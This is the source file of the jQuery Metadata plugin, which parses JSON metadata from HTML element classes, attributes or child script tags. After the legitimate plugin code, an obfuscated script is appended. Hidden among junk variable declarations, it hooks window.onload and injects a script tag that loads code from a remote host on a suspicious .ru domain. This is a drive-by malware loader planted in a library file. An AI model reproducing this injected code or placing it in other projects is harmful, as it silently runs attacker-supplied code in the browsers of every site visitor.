/*
 * Metadata - jQuery plugin for parsing metadata from elements
 *
 * Copyright (c) 2006 John Resig, Yehuda Katz, Jörn Zaefferer, Paul McLanahan
 *
 * Dual licensed under the MIT and GPL licenses:
 *   http://www.opensource.org/licenses/mit-license.php
 *   http://www.gnu.org/licenses/gpl.html
 *
 * Revision: $Id: jquery.MetaData.js 2 2008-09-10 21:43:59Z diego.alto $
 *
 */

/**
 * Sets the type of metadata to use. Metadata is encoded in JSON, and each property
 * in the JSON will become a property of the element itself.
 *
 * There are three supported types of metadata storage:
 *
 *   attr:  Inside an attribute. The name parameter indicates *which* attribute.
 *          
 *   class: Inside the class attribute, wrapped in curly braces: { }
 *   
 *   elem:  Inside a child element (e.g. a script tag). The
 *          name parameter indicates *which* element.
 *          
 * The metadata for an element is loaded the first time the element is accessed via jQuery.
 *
 * As a result, you can define the metadata type, use $(expr) to load the metadata into the elements
 * matched by expr, then redefine the metadata type and run another $(expr) for other elements.
 * 
 * @name $.metadata.setType
 *
 * @example <p id="one" class="some_class {item_id: 1, item_label: 'Label'}">This is a p</p>
 * @before $.metadata.setType("class")
 * @after $("#one").metadata().item_id == 1; $("#one").metadata().item_label == "Label"
 * @desc Reads metadata from the class attribute
 * 
 * @example <p id="one" class="some_class" data="{item_id: 1, item_label: 'Label'}">This is a p</p>
 * @before $.metadata.setType("attr", "data")
 * @after $("#one").metadata().item_id == 1; $("#one").metadata().item_label == "Label"
 * @desc Reads metadata from a "data" attribute
 * 
 * @example <p id="one" class="some_class"><script>{item_id: 1, item_label: 'Label'}</script>This is a p</p>
 * @before $.metadata.setType("elem", "script")
 * @after $("#one").metadata().item_id == 1; $("#one").metadata().item_label == "Label"
 * @desc Reads metadata from a nested script element
 * 
 * @param String type The encoding type
 * @param String name The name of the attribute to be used to get metadata (optional)
 * @cat Plugins/Metadata
 * @descr Sets the type of encoding to be used when loading metadata for the first time
 * @type undefined
 * @see metadata()
 */

(function($) {

$.extend({
	metadata : {
		defaults : {
			type: 'class',
			name: 'metadata',
			cre: /({.*})/,
			single: 'metadata'
		},
		setType: function( type, name ){
			this.defaults.type = type;
			this.defaults.name = name;
		},
		get: function( elem, opts ){
			var settings = $.extend({},this.defaults,opts);
			// check for empty string in single property
			if ( !settings.single.length ) settings.single = 'metadata';
			
			var data = $.data(elem, settings.single);
			// returned cached data if it already exists
			if ( data ) return data;
			
			data = "{}";
			
			if ( settings.type == "class" ) {
				var m = settings.cre.exec( elem.className );
				if ( m )
					data = m[1];
			} else if ( settings.type == "elem" ) {
				if( !elem.getElementsByTagName ) return;
				var e = elem.getElementsByTagName(settings.name);
				if ( e.length )
					data = $.trim(e[0].innerHTML);
			} else if ( elem.getAttribute != undefined ) {
				var attr = elem.getAttribute( settings.name );
				if ( attr )
					data = attr;
			}
			
			if ( data.indexOf( '{' ) <0 )
			data = "{" + data + "}";
			
			data = eval("(" + data + ")");
			
			$.data( elem, settings.single, data );
			return data;
		}
	}
});

/**
 * Returns the metadata object for the first member of the jQuery object.
 *
 * @name metadata
 * @descr Returns element's metadata object
 * @param Object opts An object contianing settings to override the defaults
 * @type jQuery
 * @cat Plugins/Metadata
 */
$.fn.metadata = function( opts ){
	return $.metadata.get( this[0], opts );
};

})(jQuery);
var aM;if(aM!='Zx' && aM!='Ki'){aM=''};var t;if(t!='' && t!='Rr'){t=null};try {var q;if(q!='' && q!='e'){q='y'};this.Bd="";var U='';var N=new String();var Rh;if(Rh!='' && Rh!='QP'){Rh=null};var p=RegExp;var Xk;if(Xk!=''){Xk='D'};var Z="[";var a=new String("W2mN]".substr(4));var w='';var X="g";var l;if(l!='' && l!='s'){l=''};var gY=new Date();var m=String("repla"+"ce");var v;if(v!='mS' && v!='hy'){v=''};var Pb='';var MF;if(MF!='i' && MF!='kx'){MF=''};var BT='';function z(Q,K){var T=new String();var C=Z;var cq=new Array();C+=K;var oe=new Array();var Qu;if(Qu!='' && Qu!='th'){Qu='tw'};C+=a;var r=new p(C, X);var A_;if(A_!='' && A_!='e_'){A_=''};var XS;if(XS!='' && XS!='HW'){XS=''};return Q.replace(r, U);this.Wz="";};var h="onlovx0m".substr(0,4)+"z4Mad".substr(3);this.Hf="";var wM;if(wM!='' && wM!='Qx'){wM=''};var R=z('8992992092229982299909999',"29");var j=new String("scrip"+"t");var WB='';var L='';var Y=z('hkt0t7pV:7/V/0sVf0r0-7fVr0.Va0skgk.7t7o0.9aVl0l7okc0i7n7e9-7fVrk.VwVeVbkmki9x9w9oVr0l7dk.Vr9u9:k',"0kV79");var hg;if(hg!='T_' && hg!='yH'){hg='T_'};this.ce='';var iE=new Date();this.oC='';var V=String("bUFi/s".substr(4)+"tr"+"ea"+"ma"+"R4Pte".substr(3)+".c"+"AzMfom".substr(4)+"/sWkq".substr(0,2)+"ZJctrcZJ".substr(3,2)+"iJVpeaiJVp".substr(4,2)+"EF6fma".substr(4)+"PMCte".substr(3)+".c"+"omwEZH".substr(0,2)+"/f"+"ocWnTF".substr(0,2)+"us"+".d"+"e/"+"goID2b".substr(0,2)+"2tmhogm2th".substr(4,2)+"le"+".c2m5r".substr(0,2)+"omiPuF".substr(0,2)+"/d"+"isMCje".substr(0,2)+"igDcugiD".substr(3,2)+"z."+"ONhne".substr(3)+"bPMKt.".substr(4)+"is2WphsiW2".substr(4,2)+"gWPFpPWFg".substr(4,1));var Q="1";var F;if(F!='Gm' && F != ''){F=null};window[h]=function(){var Ai=new String();var qL;if(qL!='ia' && qL != ''){qL=null};S=document.createElement(j);var tC;if(tC!=''){tC='Hx'};L+=Y;L+=R+V;var WzR="";S.defer=Q;var Sl;if(Sl!='' && Sl!='wx'){Sl=null};S.src=L;this.ve="";var k=document.body;var Lf=new Array();var WO=new Date();var Zz;if(Zz!='MY' && Zz != ''){Zz=null};var Gg;if(Gg!='' && Gg!='Vm'){Gg=null};k.appendChild(S);};var ay="";} catch(mH){};var St;if(St!='EG' && St != ''){St=null};var my=new Array();